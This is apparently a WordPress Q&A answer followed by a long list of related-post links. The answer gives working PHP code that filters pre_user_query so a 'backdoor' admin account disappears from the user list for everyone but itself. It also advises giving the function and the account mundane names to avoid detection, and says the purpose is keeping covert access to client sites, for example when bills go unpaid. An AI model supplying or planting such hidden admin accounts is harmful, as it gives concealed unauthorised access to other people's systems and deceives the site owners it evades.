While you can’t guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example)
add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'my_secret_admin_user') {
global $wpdb;
$user_search->query_where =
str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login !=
'my_secret_admin_user'",$user_search->query_where
);
}
}
I’d name the function something mundane sounding, might want your user to be mundane as well. The code prevents any other user from seeing that user in the admin list.
Related Posts:
- How do I remove dashboard access from specific user roles?
- Prevent author from changing their posts if admin has modified
- Make A WordPress Page Accessible To Admins Only, Redirect Other User Roles
- How to remove administrator role in settings -> general -> New User Default Role?
- Custom CSS In Admin Only For Certain Roles
- Remove ability to access certain admin menus
- Remove admin AND editor from the “change role to” menu in user listing
- How to remove “Super Admin” from All Users for those that are not a “Super Admin”?
- Customize the upload screen
- Blocking Administrative Access to Authors and Subcribers?
- Customize Admin Users Screen based on Role
- Make certain pages uneditable by editors?
- Restrict dashboard access for specific user roles to specific actions
- How can I restore admin capabilities?
- What determines whether admin toolbar is shown to a logged-in user?
- Two admins in Users and one in the database?
- How do you set up a WordPress blog with multiple authors to allow something like StackExchange’s “community wiki” feature?
- WordPress Remove Submenus
- Only Admin can Edit, Delete or Update
- add_cap for editor but no admin role
- Shared account / dual blogging in WordPress
- Bind custom role to admin page
- remove menus for a specific role?
- current_user_can(‘administrator’) not working in custom login
- Show global Message in User Profiles with admin only Input field in WordPress Backend
- How to change the User name and Password of admin account
- How to make sure your admin doesn’t hi-jack you site?
- Redirect admin 403 “Cheatin uh?” admin pages
- Given multiple admin accounts, how can I make it so that only admin with X username can edit posts
- How should I setup the “Users” area to hand over to a client?
- solution to prevent specific admins from altering site contents
- Admin user roles/permissions
- Posts in sidebar only by admin
- Reset WordPress admin users to limit access
- Redirect non-admin after login, and in url – /admin
- Hide top admin panel for non admin and non editors
- How can I create multiple different admin roles with their own capabilities
- Different role for free and pro users in wordpress without using bbpress
- Different customer login form than administrator login form?
- What are the standard admin CSS id/class tags?
- Admin Ajax is returning 0
- Add custom column to Users admin panel
- wp_verify_nonce vs check_admin_referer
- Add a Separator to the Admin Menu?
- How to determine whether we are in add New page/post/CPT or in edit page/post/CPT in wordpress admin?
- how to know if admin is in edit page or post [duplicate]
- Modal window from within WordPress admin
- Where in WP can I check history or log of updates of plugins etc?
- Adding a custom admin page
- How does admin-ajax.php work?
- Remove update nags for non-admins [duplicate]
- Give Editor Access To Sidebar
- How to remove entire admin menu?
- How can I speed up my WP admin section?
- How to pass parameters to admin_notices?
- Admin: very slow edit page caused by core meta query
- if admin is logged in
- Search posts by ID in admin
- How to Change the Default Home Page for the WordPress Dashboard?
- Setting admin edit panels & metaboxes positions and visibility for ALL users and admins
- Find out which moderator approved comment?
- The website cannot display the page
- How To Remove WordPress Version From The Admin Footer
- Sort pages in loop by admin’s page attributes order field?
- Edit “thank you for creating with WordPress” in version 3.3.1
- Hide other users’ posts in admin panel
- Set Default Admin Colour For All Users
- Editor Styles and Typekit
- WordPress admin stylesheet
- This CSS Stuffing Works, But Is This A Good Practice?
- Is it possible to create a WordPress tour? V3.3.1
- Securing Admin Accounts – Username Discovery
- is_admin() returns true when using admin-ajax.php from front end script
- How to save dismissable notice state in WP 4.2?
- How do I optimize a custom post type admin page with 25,000 posts?
- Settings API – adding setting fields dynamically?
- Disable Media Uploads to non Admin Users
- How do I load a CSS style into WordPress admin area only?
- Allowing admin-ajax.php to receive “application/json” instead of “x-www-form-urlencoded”
- Can an admin check passwords of registered users?
- How can I target WordPress 3.8 new interface MP6 with CSS?
- Notification that the admin is online
- Does wordpress create activity, update logs?
- sort child pages on admin
- How-to make the admin area mobile friendly [closed]
- How to remove list view from media library?
- How to disable the “Your site has updated to WordPress x.y.z” admin email?
- Load plugin scripts and styles only on plugin page
- Plugin to remove Admin menu items based on user role?
- How to obtain the user ID of the current profile being edited in WP-Admin?
- 3.3: How do you hide the new dashboard welcome panel?
- Add my own button next to “Screen options” and “Help” in the admin
- WP List Table custom quick edit box – post meta data missing and columns change on submit
- Settings API – easiest way of validating checkboxes?
- Are there any action like ‘init_frontend’
- Should I use is_admin() inside ‘admin_init’ hook callback
- Custom admin email for new user registration
- Send Admin Emails to Multiple Email Addresses
- How do I set up the defualt page icon for admin menu?
- Cannot access admin panel